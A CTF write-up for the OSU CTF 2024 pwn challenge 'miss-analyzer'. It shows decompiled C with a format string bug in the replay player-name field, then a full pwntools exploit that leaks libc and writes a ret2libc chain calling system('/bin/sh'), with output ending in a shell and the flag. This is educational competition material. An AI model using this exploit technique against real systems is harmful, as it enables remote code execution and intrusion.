---
# System prepended metadata

title: Writeup - miss-analyzer / OSU CTF 2024

---

<font face="Cambria" size="40">**Writeup: Pwn Challenge - miss-analyzer** </font>

<font face="Cambria" size="40">**Challenge Infomation** </font>

I bet you can't beat a single one of my plays!  
Binary: https://github.com/Code002016/PWN-CTF-2024/blob/main/Osu%20ctf/miss-analyzer/analyzer  
Server: nc chal.osugaming.lol 7273  
Checksec:  
![image](https://github.com/Code002016/PWN-CTF-2024/blob/main/Osu%20ctf/miss-analyzer/image/Screenshot%202024-03-05%20222344.png)  

<font face="Cambria" size="40">**Analysis** </font>

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rbx
  char v5; // [rsp+15h] [rbp-14Bh]
  __int16 v6; // [rsp+16h] [rbp-14Ah]
  char *lineptr; // [rsp+18h] [rbp-148h] BYREF
  size_t n; // [rsp+20h] [rbp-140h] BYREF
  void *ptr; // [rsp+28h] [rbp-138h] BYREF
  __int64 v10; // [rsp+30h] [rbp-130h] BYREF
  void *v11; // [rsp+38h] [rbp-128h] BYREF
  char format[264]; // [rsp+40h] [rbp-120h] BYREF
  unsigned __int64 v13; // [rsp+148h] [rbp-18h]

  v13 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( 1 )
  {
    puts("Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):");
    lineptr = 0LL;
    n = 0LL;
    if ( getline(&lineptr, &n, stdin) <= 0 )
      break;
    v3 = lineptr;
    v3[strcspn(lineptr, "\n")] = 0;
    if ( !*lineptr )
      break;
    v10 = hexs2bin(lineptr, &ptr);
    v11 = ptr;
    if ( !v10 )
    {
      puts("Error: failed to decode hex");
      return 1;
    }
    puts("\n=~= miss-analyzer =~=");
    v5 = read_byte(&v11, &v10);
    if ( v5 )
    {
      switch ( v5 )
      {
        case 1:
          puts("Mode: osu!taiko");
          break;
        case 2:
          puts("Mode: osu!catch");
          break;
        case 3:
          puts("Mode: osu!mania");
          break;
      }
    }
    else
    {
      puts("Mode: osu!");
    }
    consume_bytes((__int64)&v11, (__int64)&v10, 4);
    read_string((__int64)&v11, (__int64)&v10, format, 0xFFu);
    printf("Hash: %s\n", format);
    read_string((__int64)&v11, (__int64)&v10, format, 0xFFu);
    printf("Player name: ");
    printf(format);
    putchar(10);
    read_string((__int64)&v11, (__int64)&v10, format, 0xFFu);
    consume_bytes((__int64)&v11, (__int64)&v10, 10);
    v6 = read_short((__int64)&v11, (__int64)&v10);
    printf("Miss count: %d\n", (unsigned int)v6);
    if ( v6 )
      puts("Yep, looks like you missed.");
    else
      puts("You didn't miss!");
    puts("=~=~=~=~=~=~=~=~=~=~=\n");
    free(lineptr);
    free(ptr);
  }
  return 0;
}
```
<font face="Cambria" size="40">**Vulnerability:**  </font>

![image](https://github.com/Code002016/PWN-CTF-2024/blob/main/Osu%20ctf/miss-analyzer/image/Screenshot%202024-03-05%20201043.png)  

The program reads the output from the following command "xxd -p -c0 replay.osr | ./analyzer" to get the hash, player name, etc...  
At first, when doing this challenge, I was quite stuck because I used another person's osu replay file with a quite short player name so I could almost only leak information but could not record it, so I downloaded osu to play and do it myself. Create a record with playername "code016hiro1901" with 15 writable characters.  
The formatted position is Player name, but Osu allows creating a player name that is not too long so it cannot be written much, however we can take advantage of the hash to write it.  
I thought I could use one-gadget to solve it (I haven't tried it yet), but I tried it locally and it didn't work, so I just gave up and played ret2libc = format string.  

<font face="Cambria" size="40">**Solution:**  </font>

**Step 1:** Create or find a replay of osu with a player name long enough to format. An osu replay file will have the following components analyzed and printed: hash, player name, missing point,... the most important is hash and player name.  
![image](https://github.com/Code002016/PWN-CTF-2024/blob/main/Osu%20ctf/miss-analyzer/image/Screenshot%202024-03-05%20225153.png)  
**Step 2**: The command provided by the program does not match the required program format, so I edited the command's output processing a bit. I have the entire definition in the getoutput() function.  
**Step 3:** File processing: I copy the original to another file, and when editing the player name or hash, I must keep the correct length. Specifically, how do I define setup_payload().  
**Step 4:** Set up libc leak payload and necessary addresses such as pop rdi ret, system, "/bin/sh",...I don't know why but the calculated offset is subtracted by 0x3000. if you don't know how to find libc version search, here **https://libc.blukat.me/** is a website I often use.  
**Step 5:** Write the address that needs to be edited in "hash" and format it in printf(playername), the address that needs to be edited here I use the address containing __libc_start_call_main+128 on the stack, I overwrite it so that when the program outputs normally Normally it will call this address and execute.  
**Step 6:** Waiting for the program to return to the getline, I randomly enter any bytes for the program to output and execute the call system("/bin/sh") that I passed in.  

<font face="Cambria" size="40">**Script exploit:** </font>

```python
from pwn import *
context.log_level = 'info'
import shutil
shutil.copyfile('code016hiro1901 playing Rocket Start - Sushi Blast (Shmiklak) [Normal] (2024-03-02_20-14).osr', "temp")
import subprocess

e = context.binary = ELF('./analyzer', checksec=True)

# lib = e.libc
# r= e.process()

r= remote("chal.osugaming.lol", 7273)
lib = ELF('libc.so.6')

def getoutput():
    output = subprocess.check_output(['xxd', '-p', '-c0', 'temp.txt'])
    output = output.decode('utf8')
    output = output.replace('\n', '')
    return output.encode()

def setup_payload(fmt_str, write_stack):
    with open('temp', 'rb') as f_input:
        text = f_input.read() 
        modified_text = text.replace(b'code016hiro1901', fmt_str.ljust(15, b"\x00"))
        modified_text = modified_text.replace(b'317233ec6c79498a79e36712804078ce', write_stack)
        with open('temp.txt', 'wb') as f_output:
            f_output.write(modified_text)   

exit_got=0x404070

setup_payload(b':%51$p%6$p%85$p', flat(b"a"*32))

payload = getoutput()

# pause()
r.sendlineafter(b"./analyzer):\n",payload)
r.recvuntil(b":0x")

leak= int(r.recv(12),16)
base_libc= leak - 0x2cd90
info(f"base_libc: {hex(base_libc)}")

r.recvuntil(b"0x")
overwrite = int(r.recv(12),16)
info(f"overwrite: {hex(overwrite)}")

retn = overwrite - 272

system_libc = base_libc + lib.sym.system+0x3000
binsh_libc = base_libc + next(lib.search(b"/bin/sh"))+0x3000
pop_rdi_ret = base_libc+ lib.sym.iconv+197+0x3000
ret = pop_rdi_ret+1
log.info("retn: %#x" %retn)

log.info("system_libc: %#x" %system_libc)
log.info("binsh_libc: %#x" %binsh_libc)
log.info("pop_rdi_ret: %#x" %pop_rdi_ret)

def write_addr_1byte(value, retn):
    for i in range(6):
        fmt = f"%{value&0xff}c%17$hhn".encode().ljust(15,b"\x00" )
        print(b"payload: "+ fmt)
        # info(f"retn: {hex(retn)}")
        # info(f"value: {hex(value&0xff)}")
        setup_payload(fmt, flat(b"a"*24, retn))
        payload= getoutput()
        r.sendlineafter(b"./analyzer):\n",payload)
        if(value !=0):
            value = value >> 8
        retn+=1  

def write_addr(value, retn):
    for i in range(3):
        fmt =f"%{value&0xffff}c%17$hn".encode().ljust(15,b"\x00" )
        print(b"payload: "+ fmt)
        info(f"retn: {hex(retn)}")
        setup_payload(fmt, flat(b"a"*24, retn))
        payload= getoutput()
        r.sendline(payload)
        value = value >> 16
        retn+=2  

# pause()
write_addr_1byte(ret, retn)
retn+=8
write_addr_1byte(pop_rdi_ret, retn)
retn+=8
write_addr_1byte(binsh_libc, retn)
retn+=8
write_addr_1byte(system_libc, retn)

pause()
r.sendlineafter(b"./analyzer):\n",b"3")

r.interactive()

# osu{1_h4te_c!!!!!!!!}

```

<font face="Cambria" size="40">**Result:** </font>
```sh
$ python3 solve.py
[*] 'Osu ctf/miss-analyzer/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chal.osugaming.lol on port 7273: Done
[*] base_libc: 0x7f721a43d000
[*] overwrite: 0x7fff1d2c1f18
[*] retn: 0x7fff1d2c1e08
[*] system_libc: 0x7f721a490d70
[*] binsh_libc: 0x7f721a618678
[*] pop_rdi_ret: 0x7f721a46a3e5
b'payload: %230c%17$hhn\x00\x00\x00'
b'payload: %163c%17$hhn\x00\x00\x00'
b'payload: %70c%17$hhn\x00\x00\x00\x00'
b'payload: %26c%17$hhn\x00\x00\x00\x00'
b'payload: %114c%17$hhn\x00\x00\x00'
b'payload: %127c%17$hhn\x00\x00\x00'
b'payload: %229c%17$hhn\x00\x00\x00'
b'payload: %163c%17$hhn\x00\x00\x00'
b'payload: %70c%17$hhn\x00\x00\x00\x00'
b'payload: %26c%17$hhn\x00\x00\x00\x00'
b'payload: %114c%17$hhn\x00\x00\x00'
b'payload: %127c%17$hhn\x00\x00\x00'
b'payload: %120c%17$hhn\x00\x00\x00'
b'payload: %134c%17$hhn\x00\x00\x00'
b'payload: %97c%17$hhn\x00\x00\x00\x00'
b'payload: %26c%17$hhn\x00\x00\x00\x00'
b'payload: %114c%17$hhn\x00\x00\x00'
b'payload: %127c%17$hhn\x00\x00\x00'
b'payload: %112c%17$hhn\x00\x00\x00'
b'payload: %13c%17$hhn\x00\x00\x00\x00'
b'payload: %73c%17$hhn\x00\x00\x00\x00'
b'payload: %26c%17$hhn\x00\x00\x00\x00'
b'payload: %114c%17$hhn\x00\x00\x00'
b'payload: %127c%17$hhn\x00\x00\x00'
[*] Switching to interactive mode
Error: failed to decode hex
$ ls
flag.txt
run
$ cat flag.txt
osu{1_h4te_c!!!!!!!!}
[*] Got EOF while reading in interactive
$
```
